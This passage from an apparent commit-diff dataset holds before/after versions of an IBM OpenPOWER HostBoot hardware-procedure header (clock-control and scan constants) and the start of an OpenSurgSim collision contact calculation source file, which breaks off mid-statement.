P9_HCD_COMMON_CLK_CTRL_VECTORS\n{\n    CLK_START_REGION_ALL_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_ALL | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_ALL_THOLD_ALL =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_ALL | CLK_THOLD_ALL),\n    CLK_START_REGION_ALL_BUT_DPLL_L2_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_ALL_BUT_DPLL_L2 | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_ALL_BUT_DPLL_L2_THOLD_ALL =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_ALL_BUT_DPLL_L2 | CLK_THOLD_ALL),\n    CLK_START_REGION_L2_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_L2 | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_L2_THOLD_ALL =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_L2 | CLK_THOLD_ALL),\n    CLK_START_REGION_DPLL_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_DPLL | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_DPLL_THOLD_ALL =\n        (CLK_START_CMD | CLK_MASTER_MODE | CLK_REGION_DPLL | CLK_THOLD_ALL)\n};\n\n\/\/ SCAN0 Constants\nenum P9_HCD_COMMON_SCAN0_CONSTANTS\n{\n    SCAN0_REGION_ALL                         = 0x7FF,\n    SCAN0_REGION_ALL_BUT_PLL                 = 0x7FE,\n    SCAN0_REGION_PLL                         = 0x001,\n    SCAN0_REGION_CORE_ONLY                   = 0x300,\n    SCAN0_TYPE_ALL_BUT_GPTR_REPR_TIME        = 0xDCF,\n    SCAN0_TYPE_GPTR_REPR_TIME                = 0x230,\n    SCAN0_TYPE_REPR_TIME                     = 0x030,\n    SCAN0_TYPE_GPTR                          = 0x200,\n    SCAN0_TYPE_FUNC_BNDY                     = 0x808\n};\n\/\/OCC FLag defines\nenum PM_GPE_OCCFLG_DEFS\n{\n    SGPE_ACTIVE    = 8\n};\n\n\/\/ XSR defines\nenum XSR_DEFS\n{\n    HALTED_STATE    = 0\n};\n\n\n\/\/ XCR defines\nenum XCR_DEFS\n{\n    CLEAR_DEBUG_STATUS = 0,\n    HALT               = 1,\n    RESUME             = 2,\n    SINGLE_STEP        = 3,\n    TOGGLE_XSR_TRH     = 4,\n    SOFT_RESET         = 5,\n    HARD_RESET         = 6,\n    FORCE_HALT         = 7\n};\n\n\n} \/\/ END OF NAMESPACE p9hcd\n\n\n\/\/\/ @todo needs to review this\n\/\/\/ SCAN Repeats(from P8)\n#define GENERIC_CC_SCAN0_MAXIMUM   8191\n#define SCAN0_FUNC_FLUSH_LENGTH    8000\n#define SCAN0_GPTR_FLUSH_LENGTH    14000\n#define P9_HCD_SCAN_FUNC_REPEAT    \\\n    ((SCAN0_FUNC_FLUSH_LENGTH \/ GENERIC_CC_SCAN0_MAXIMUM)+1)\n#define P9_HCD_SCAN_GPTR_REPEAT    \\\n    ((SCAN0_GPTR_FLUSH_LENGTH \/ GENERIC_CC_SCAN0_MAXIMUM)+1)\n\n\/\/\/ @todo remove these once correct header contains them\n\/\/\/ Scom addresses missing from p9_quad_scom_addresses.H\n#define EQ_QPPM_QCCR_WCLEAR              0x100F01BE\n#define EQ_QPPM_QCCR_WOR                 0x100F01BF\n\n#endif  \/\/ __P9_HCD_COMMON_H__\n<commit_msg>HWP-CORE\/CACHE: Update Istep 4 procedures regressed on model 34<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/lib\/p9_hcd_common.H $      *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/\/\n\/\/\/ @file p9_hcd_common.H\n\/\/\/ @brief common hcode includes\n\/\/\/\n\n\/\/ *HWP HWP Owner          : David Du       <daviddu@us.ibm.com>\n\/\/ *HWP Backup HWP Owner   : Greg Still     <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner           : Sangeetha T S  <sangeet2@in.ibm.com>\n\/\/ *HWP Team               : PM\n\/\/ *HWP Consumed by        : SBE:SGPE:CME\n\/\/ *HWP Level              : 2\n\n#ifndef __P9_HCD_COMMON_H__\n#define __P9_HCD_COMMON_H__\n\n\/\/-------------------------\n\/\/ Macros\n\/\/-------------------------\n\n\/\/ Create a multi-bit mask of \\a n bits starting at bit \\a b\n#define BITS64(b, n) ((0xffffffffffffffffull << (64 - (n))) >> (b))\n#define BITS32(b, n) ((0xffffffff            << (32 - (n))) >> (b))\n#define BITS16(b, n) ((0xffff                << (16 - (n))) >> (b))\n#define BITS8(b, n)  ((0xff                  << (8  - (n))) >> (b))\n\n\/\/ Create a single bit mask at bit \\a b\n#define BIT64(b) BITS64((b), 1)\n#define BIT32(b) BITS32((b), 1)\n#define BIT16(b) BITS16((b), 1)\n#define BIT8(b)  BITS8((b), 1)\n\n\/\/ Create a amount of shift to bit location \\a b\n#define SHIFT64(b) (63-b)\n#define SHIFT32(b) (31-b)\n#define SHIFT16(b) (15-b)\n#define SHIFT8(b)  (7-b)\n\n\n\/\/ The BUF_* macros apply operations to a newly constructed buffer\n#define BUF_SET(bit)   fapi2::buffer<uint64_t>().setBit<bit>()\n#define BUF_UNSET(bit) fapi2::buffer<uint64_t>().flush<1>().clearBit<bit>()\n#define BUF_INSERT(start,size,val) \\\n    fapi2::buffer<uint64_t>().insertFromRight<start,size>(val)\n#define BUF_REPLACE(start,size,val) \\\n    fapi2::buffer<uint64_t>().flush<1>().insertFromRight<start,size>(val)\n\/\/ The following DATA_* and MASK_* macros assume you have\n\/\/ \"fapi2::buffer<uint64_t> l_data64\" declared\n\n\/\/ The DATA_* macros apply operations to a buffer contains existing data\n#define DATA_BIT(buf,op,bit)             buf.op##Bit<bit>()\n#define DATA_SET(bit)                    DATA_BIT(l_data64,set,bit)\n#define DATA_UNSET(bit)                  DATA_BIT(l_data64,clear,bit)\n#define DATA_FIELD(buf,start,size,val)   buf.insertFromRight<start,size>(val)\n#define DATA_INSERT(start,size,val)      DATA_FIELD(l_data64,start,size,val)\n\n\/\/ The MASK_* macros apply operations to a buffer to create a new data mask\n\/\/ data previously stored in the buffer will be overwritten.\n#define MASK_FLUSH(buf,mask)             buf.flush<mask>()\n#define MASK_ZERO                        MASK_FLUSH(l_data64,0)\n#define MASK_ALL                         MASK_FLUSH(l_data64,1)\n#define MASK_BIT(buf,mask,op,bit)        buf.flush<mask>().op##Bit<bit>()\n#define MASK_SET(bit)                    MASK_BIT(l_data64,0,set,bit)\n#define MASK_UNSET(bit)                  MASK_BIT(l_data64,1,clear,bit)\n#define MASK_FIELD(buf,mask,start,size,val) \\\n    buf.flush<mask>().insertFromRight<start,size>(val)\n#define MASK_OR(start,size,val)          MASK_FIELD(l_data64,0,start,size,val)\n#define MASK_AND(start,size,val)         MASK_FIELD(l_data64,1,start,size,val)\n#define MASK_CLR(start,size,val)         MASK_FIELD(l_data64,0,start,size,val)\n\n\/\/-------------------------\n\/\/ Constants\n\/\/-------------------------\n\n\nnamespace p9hcd\n{\n\n\/\/ Bit masks used by CME hcode\nenum P9_HCD_CME_CORE_MASKS\n{\n    LEFT_CORE  = 0x2,\n    RIGHT_CORE = 0x1,\n    BOTH_CORES = 0x3,\n    NO_CORE    = 0x0\n};\n\n\/\/ Control parameters for PCB Aribter\nenum P9_HCD_PCB_ARBITER_CTRL\n{\n    REQUEST_ARBITER = 1,\n    RELEASE_ARBITER = 0\n};\n\n\/\/ Constants to calculate hcd poll timeout intervals\nenum P9_HCD_COMMON_TIMEOUT_CONSTANTS\n{\n    CYCLES_PER_MS       = 500000, \/\/ PPE FREQ 500MHZ\n    INSTS_PER_POLL_LOOP = 8       \/\/\n};\n\n\/\/ Init Vectors for Register Setup\nenum P9_HCD_COMMON_INIT_VECTORS\n{\n    \/\/ 0     -  CHIPLET_ENABLE\n    \/\/ 1     -  PCB_EP_RESET\n    \/\/ 3     -  PLL_TEST_EN\n    \/\/ 4     -  PLLRST\n    \/\/ 5     -  PLLBYP\n    \/\/ 12    -  VITL_MPW1\n    \/\/ 13    -  VITL_MPW2\n    \/\/ 14    -  VITL_MPW3\n    \/\/ 18    -  FENCE_EN\n    NET_CTRL0_INIT_VECTOR = (BIT64(0) | BIT64(1) | BITS64(3, 3) | BITS64(12, 3) | BIT64(18)),\n    HANG_PULSE1_INIT_VECTOR = BIT64(5)\n};\n\n\/\/ Clock Control Constants\nenum P9_HCD_COMMON_CLK_CTRL_CONSTANTS\n{\n    CLK_STOP_CMD                             = BIT64(0),\n    CLK_START_CMD                            = BIT64(1),\n    CLK_SLAVE_MODE                           = BIT64(2),\n    CLK_MASTER_MODE                          = BIT64(3),\n    CLK_REGION_ANEP                          = BIT64(10),\n    CLK_REGION_DPLL                          = BIT64(14),\n    CLK_REGION_L2                            = BITS64(8, 2),\n    CLK_REGION_ALL_BUT_DPLL_L2               = BITS64(4, 4) | BITS64(10, 4),\n    CLK_REGION_ALL                           = BITS64(4, 11),\n    CLK_THOLD_ALL                            = BITS64(48, 3),\n    CLK_THOLD_NSL_ARY                        = BITS64(49, 2)\n};\n\n\/\/ Clock Control Vectors\nenum P9_HCD_COMMON_CLK_CTRL_VECTORS\n{\n    CLK_START_REGION_ALL_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_REGION_ALL | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_ALL_THOLD_ALL =\n        (CLK_START_CMD | CLK_REGION_ALL | CLK_THOLD_ALL),\n    CLK_START_REGION_ALL_BUT_DPLL_L2_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_REGION_ALL_BUT_DPLL_L2 | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_ALL_BUT_DPLL_L2_THOLD_ALL =\n        (CLK_START_CMD | CLK_REGION_ALL_BUT_DPLL_L2 | CLK_THOLD_ALL),\n    CLK_START_REGION_L2_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_REGION_L2 | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_L2_THOLD_ALL =\n        (CLK_START_CMD | CLK_REGION_L2 | CLK_THOLD_ALL),\n    CLK_START_REGION_DPLL_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_REGION_DPLL | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_DPLL_THOLD_ALL =\n        (CLK_START_CMD | CLK_REGION_DPLL | CLK_THOLD_ALL),\n    CLK_START_REGION_ANEP_THOLD_NSL_ARY =\n        (CLK_START_CMD | CLK_REGION_ANEP | CLK_THOLD_NSL_ARY),\n    CLK_START_REGION_ANEP_THOLD_ALL =\n        (CLK_START_CMD | CLK_REGION_ANEP | CLK_THOLD_ALL)\n};\n\n\/\/ SCAN0 Constants\nenum P9_HCD_COMMON_SCAN0_CONSTANTS\n{\n    SCAN0_REGION_ALL                         = 0x7FF,\n    SCAN0_REGION_ALL_BUT_PLL                 = 0x7FE,\n    SCAN0_REGION_ALL_BUT_ANEP_PLL            = 0x7EE,\n    SCAN0_REGION_PLL                         = 0x001,\n    SCAN0_REGION_DPLL_ANEP                   = 0x011,\n    SCAN0_REGION_CORE_ONLY                   = 0x300,\n    SCAN0_REGION_PERV_CORE                   = 0x700,\n    SCAN0_TYPE_ALL_BUT_GPTR_REPR_TIME        = 0xDCF,\n    SCAN0_TYPE_GPTR_REPR_TIME                = 0x230,\n    SCAN0_TYPE_REPR_TIME                     = 0x030,\n    SCAN0_TYPE_GPTR                          = 0x200,\n    SCAN0_TYPE_FUNC                          = 0x800,\n    SCAN0_TYPE_FUNC_BNDY                     = 0x808\n};\n\/\/OCC FLag defines\nenum PM_GPE_OCCFLG_DEFS\n{\n    SGPE_ACTIVE    = 8\n};\n\n\/\/ XSR defines\nenum XSR_DEFS\n{\n    HALTED_STATE    = 0\n};\n\n\n\/\/ XCR defines\nenum XCR_DEFS\n{\n    CLEAR_DEBUG_STATUS = 0,\n    HALT               = 1,\n    RESUME             = 2,\n    SINGLE_STEP        = 3,\n    TOGGLE_XSR_TRH     = 4,\n    SOFT_RESET         = 5,\n    HARD_RESET         = 6,\n    FORCE_HALT         = 7\n};\n\n\n} \/\/ END OF NAMESPACE p9hcd\n\n\n\/\/\/ @todo needs to review this\n\/\/\/ SCAN Repeats(from P8)\n\/*\n#define GENERIC_CC_SCAN0_MAXIMUM   8191\n#define SCAN0_FUNC_FLUSH_LENGTH    8000\n#define SCAN0_GPTR_FLUSH_LENGTH    14000\n#define P9_HCD_SCAN_FUNC_REPEAT    \\\n    ((SCAN0_FUNC_FLUSH_LENGTH \/ GENERIC_CC_SCAN0_MAXIMUM)+1)\n#define P9_HCD_SCAN_GPTR_REPEAT    \\\n    ((SCAN0_GPTR_FLUSH_LENGTH \/ GENERIC_CC_SCAN0_MAXIMUM)+1)\n*\/\n#define P9_HCD_SCAN_FUNC_REPEAT 40\n#define P9_HCD_SCAN_GPTR_REPEAT 40\n\n\/\/\/ @todo remove these once correct header contains them\n\/\/\/ Scom addresses missing from p9_quad_scom_addresses.H\n#define EQ_QPPM_QCCR_WOR                 0x100F01BF\n#define CME_LCL_SICR_OR                  0xc0000510\n#define CME_LCL_SICR_CLR                 0xc0000518\n#define CME_LCL_SISR                     0xc0000520\n\n#endif  \/\/ __P9_HCD_COMMON_H__\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <thread>\n\n#include \"SurgSim\/Collision\/CcdDcdCollision.h\"\n#include \"SurgSim\/Collision\/ContactCalculation.h\"\n#include \"SurgSim\/Collision\/DefaultContactCalculation.h\"\n#include \"SurgSim\/Collision\/Representation.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n\nnamespace SurgSim\n{\nnamespace Collision\n{\n\nContactCalculation::TableType ContactCalculation::m_contactDcdCalculations;\nContactCalculation::TableType ContactCalculation::m_contactCcdCalculations;\nstd::once_flag ContactCalculation::m_initializationFlag;\n\nContactCalculation::ContactCalculation()\n{\n}\n\nContactCalculation::~ContactCalculation()\n{\n}\n\nvoid ContactCalculation::registerDcdContactCalculation(const std::shared_ptr<ContactCalculation>& calculation)\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\tprivateDcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::registerCcdContactCalculation(const std::shared_ptr<ContactCalculation>& calculation)\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\tprivateCcdRegister(calculation, calculation->getShapeTypes());\n}\n\nconst ContactCalculation::TableType& ContactCalculation::getDcdContactTable()\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\treturn m_contactDcdCalculations;\n}\n\nconst ContactCalculation::TableType& ContactCalculation::getCcdContactTable()\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\treturn m_contactCcdCalculations;\n}\n\nvoid ContactCalculation::calculateContact(std::shared_ptr<CollisionPair> pair)\n{\n\tdoCalculateContact(pair);\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::calculateDcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>> posedShape1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>> posedShape2)\n{\n\tauto types = getShapeTypes();\n\tauto incoming = std::make_pair(posedShape1.getShape()->getType(), posedShape2.getShape()->getType());\n\tif (incoming == types)\n\t{\n\t\treturn doCalculateDcdContact(posedShape1, posedShape2);\n\t}\n\n\tif (incoming.first == types.second && incoming.second == types.first)\n\t{\n\t\tauto contacts = doCalculateDcdContact(posedShape2, posedShape1);\n\t\tfor (const auto& contact : contacts)\n\t\t{\n\t\t\tcontact->normal = -contact->normal;\n\t\t\tcontact->force = -contact->force;\n\t\t\tstd::swap(contact->penetrationPoints.first, contact->penetrationPoints.second);\n\t\t}\n\t\treturn contacts;\n\t}\n\n\tif (types.first != Math::SHAPE_TYPE_NONE && types.second != Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_FAILURE() << \"Incorrect shape type for this calculation expected \"\n\t\t\t\t\t\t  << types.first << \", \" << types.second\n\t\t\t\t\t\t  << \" received \" << incoming.first << \", \" << incoming.second << \".\";\n\t}\n\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nvoid ContactCalculation::doCalculateContact(std::shared_ptr<CollisionPair> pair)\n{\n\tstd::pair<int, int> shapeTypes = getShapeTypes();\n\tint firstShapeType = pair->getFirst()->getShapeType();\n\tint secondShapeType = pair->getSecond()->getShapeType();\n\n\tif (firstShapeType != secondShapeType && firstShapeType == shapeTypes.second &&\n\t\tsecondShapeType == shapeTypes.first)\n\t{\n\t\tpair->swapRepresentations();\n\t\tstd::swap(firstShapeType, secondShapeType);\n\t}\n\n\tif (shapeTypes.first != SurgSim::Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_ASSERT(firstShapeType == shapeTypes.first) <<\n\t\t\t\t\"First Object, wrong type of object\" << firstShapeType;\n\t}\n\n\tif (shapeTypes.second != SurgSim::Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_ASSERT(secondShapeType == shapeTypes.second) <<\n\t\t\t\t\"Second Object, wrong type of object\" << secondShapeType;\n\t}\n\n\tauto& shape1 = pair->getFirst()->getPosedShape();\n\n\tauto& shape2 = pair->getSecond()->getPosedShape();\n\n\tstd::list<std::shared_ptr<Contact>> contacts;\n\tif (pair->getType() == Collision::CollisionDetectionType::COLLISION_DETECTION_TYPE_DISCRETE)\n\t{\n\t\tMath::PosedShape<std::shared_ptr<Math::Shape>> posedShape1(shape1, pair->getFirst()->getPose());\n\t\tMath::PosedShape<std::shared_ptr<Math::Shape>> posedShape2(shape2, pair->getSecond()->getPose());\n\t\tcontacts = doCalculateDcdContact(posedShape1, posedShape2);\n\t}\n\telse if (pair->getType() == Collision::CollisionDetectionType::COLLISION_DETECTION_TYPE_CONTINUOUS)\n\t{\n\t\tcontacts = doCalculateCcdContact(\n\t\t\t\t\t   pair->getFirst()->getPosedShapeMotion(),\n\t\t\t\t\t   pair->getSecond()->getPosedShapeMotion());\n\t}\n\telse\n\t{\n\t\tSURGSIM_FAILURE() << \"Invalid collision detection type, neither discrete nor continuous\";\n\t}\n\n\tfor (auto& contact : contacts)\n\t{\n\t\tpair->addContact(contact);\n\t}\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::doCalculateDcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>>& posedShape1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>>& posedShape2)\n{\n\tSURGSIM_FAILURE() << \"Not implemented\";\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::doCalculateCcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShapeMotion<std::shared_ptr<Math::Shape>>& posedShapeMotion1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShapeMotion<std::shared_ptr<Math::Shape>>& posedShapeMotion2)\n{\n\tSURGSIM_FAILURE() << \"Not implemented\";\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nvoid ContactCalculation::initializeTables()\n{\n\t\/\/ Fill up both tables with default empty contact calculation\n\tfor (int i = 0; i < SurgSim::Math::SHAPE_TYPE_COUNT; ++i)\n\t{\n\t\tfor (int j = 0; j < SurgSim::Math::SHAPE_TYPE_COUNT; ++j)\n\t\t{\n\t\t\tm_contactDcdCalculations[i][j].reset(new Collision::DefaultContactCalculation(false));\n\t\t\tm_contactCcdCalculations[i][j].reset(new Collision::DefaultContactCalculation(false));\n\t\t}\n\t}\n\n\t\/\/ Fill up the Dcd contact calculation table\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxCapsuleContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::BoxSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::CapsuleSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeCapsuleContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreePlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::OctreeSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SegmentMeshTriangleMeshContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SphereSphereContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SphereDoubleSidedPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::SpherePlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshParticlesContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshPlaneContact>());\n\tContactCalculation::privateDcdRegister(std::make_shared<Collision::TriangleMeshTriangleMeshContact>());\n\n\tconst std::array<int, Math::SHAPE_TYPE_COUNT> allshapes =\n\t{\n\t\tMath::SHAPE_TYPE_BOX,\n\t\tMath::SHAPE_TYPE_CAPSULE,\n\t\tMath::SHAPE_TYPE_CYLINDER,\n\t\tMath::SHAPE_TYPE_DOUBLESIDEDPLANE,\n\t\tMath::SHAPE_TYPE_MESH,\n\t\tMath::SHAPE_TYPE_OCTREE,\n\t\tMath::SHAPE_TYPE_PARTICLES,\n\t\tMath::SHAPE_TYPE_PLANE,\n\t\tMath::SHAPE_TYPE_SPHERE,\n\t\tMath::SHAPE_TYPE_SURFACEMESH,\n\t\tMath::SHAPE_TYPE_SEGMENTMESH,\n\t\tMath::SHAPE_TYPE_COMPOUNDSHAPE\n\t};\n\n\tfor (auto type : allshapes)\n\t{\n\t\tContactCalculation::privateDcdRegister(std::make_shared<Collision::CompoundShapeContact>(\n\t\t\t\tstd::make_pair(Math::SHAPE_TYPE_COMPOUNDSHAPE, type)));\n\t}\n\n\tContactCalculation::privateCcdRegister(std::make_shared<Collision::SegmentSelfContact>());\n\tContactCalculation::privateCcdRegister(std::make_shared<Collision::SegmentMeshTriangleMeshContact>());\n}\n\nvoid ContactCalculation::privateDcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation)\n{\n\tprivateDcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::privateDcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation,\n\tconst std::pair<int, int>& types)\n{\n\tm_contactDcdCalculations[types.first][types.second] = calculation;\n\tm_contactDcdCalculations[types.second][types.first] = calculation;\n}\n\nvoid ContactCalculation::privateCcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation)\n{\n\tprivateCcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::privateCcdRegister(\n\tconst std::shared_ptr<ContactCalculation>& calculation,\n\tconst std::pair<int, int>& types)\n{\n\tm_contactCcdCalculations[types.first][types.second] = calculation;\n\tm_contactCcdCalculations[types.second][types.first] = calculation;\n}\n\n}; \/\/ namespace Collision\n}; \/\/ namespace SurgSim\n<commit_msg>Fix Linux build<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013-2016, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <thread>\n\n#include \"SurgSim\/Collision\/CcdDcdCollision.h\"\n#include \"SurgSim\/Collision\/ContactCalculation.h\"\n#include \"SurgSim\/Collision\/DefaultContactCalculation.h\"\n#include \"SurgSim\/Collision\/Representation.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n\nnamespace SurgSim\n{\nnamespace Collision\n{\n\nContactCalculation::TableType ContactCalculation::m_contactDcdCalculations;\nContactCalculation::TableType ContactCalculation::m_contactCcdCalculations;\nstd::once_flag ContactCalculation::m_initializationFlag;\n\nContactCalculation::ContactCalculation()\n{\n}\n\nContactCalculation::~ContactCalculation()\n{\n}\n\nvoid ContactCalculation::registerDcdContactCalculation(const std::shared_ptr<ContactCalculation>& calculation)\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\tprivateDcdRegister(calculation, calculation->getShapeTypes());\n}\n\nvoid ContactCalculation::registerCcdContactCalculation(const std::shared_ptr<ContactCalculation>& calculation)\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\tprivateCcdRegister(calculation, calculation->getShapeTypes());\n}\n\nconst ContactCalculation::TableType& ContactCalculation::getDcdContactTable()\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\treturn m_contactDcdCalculations;\n}\n\nconst ContactCalculation::TableType& ContactCalculation::getCcdContactTable()\n{\n\tstd::call_once(m_initializationFlag, ContactCalculation::initializeTables);\n\n\treturn m_contactCcdCalculations;\n}\n\nvoid ContactCalculation::calculateContact(std::shared_ptr<CollisionPair> pair)\n{\n\tdoCalculateContact(pair);\n}\n\nstd::list<std::shared_ptr<Contact>> ContactCalculation::calculateDcdContact(\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>> posedShape1,\n\t\t\t\t\t\t\t\t\t const Math::PosedShape<std::shared_ptr<Math::Shape>> posedShape2)\n{\n\tauto types = getShapeTypes();\n\tauto incoming = std::make_pair(posedShape1.getShape()->getType(), posedShape2.getShape()->getType());\n\tif (incoming == types)\n\t{\n\t\treturn doCalculateDcdContact(posedShape1, posedShape2);\n\t}\n\n\tif (incoming.first == types.second && incoming.second == types.first)\n\t{\n\t\tauto contacts = doCalculateDcdContact(posedShape2, posedShape1);\n\t\tfor (const auto& contact : contacts)\n\t\t{\n\t\t\tcontact->normal = -contact->normal;\n\t\t\tcontact->force = -contact->force;\n\t\t\tstd::swap(contact->penetrationPoints.first, contact->penetrationPoints.second);\n\t\t}\n\t\treturn contacts;\n\t}\n\n\tif (types.first != Math::SHAPE_TYPE_NONE && types.second != Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_FAILURE() << \"Incorrect shape type for this calculation expected \"\n\t\t\t\t\t\t  << types.first << \", \" << types.second\n\t\t\t\t\t\t  << \" received \" << incoming.first << \", \" << incoming.second << \".\";\n\t}\n\n\treturn std::list<std::shared_ptr<Contact>>();\n}\n\nvoid ContactCalculation::doCalculateContact(std::shared_ptr<CollisionPair> pair)\n{\n\tstd::pair<int, int> shapeTypes = getShapeTypes();\n\tint firstShapeType = pair->getFirst()->getShapeType();\n\tint secondShapeType = pair->getSecond()->getShapeType();\n\n\tif (firstShapeType != secondShapeType && firstShapeType == shapeTypes.second &&\n\t\tsecondShapeType == shapeTypes.first)\n\t{\n\t\tpair->swapRepresentations();\n\t\tstd::swap(firstShapeType, secondShapeType);\n\t}\n\n\tif (shapeTypes.first != SurgSim::Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_ASSERT(firstShapeType == shapeTypes.first) <<\n\t\t\t\t\"First Object, wrong type of object\" << firstShapeType;\n\t}\n\n\tif (shapeTypes.second != SurgSim::Math::SHAPE_TYPE_NONE)\n\t{\n\t\tSURGSIM_ASSERT(secondShapeType == shapeTypes.second) <<\n\t\t\t\t\"Second Object, wrong type of object\" << secondShapeType;\n\t}\n\n\tstd::shared_ptr<Math::Shape> shape1 = 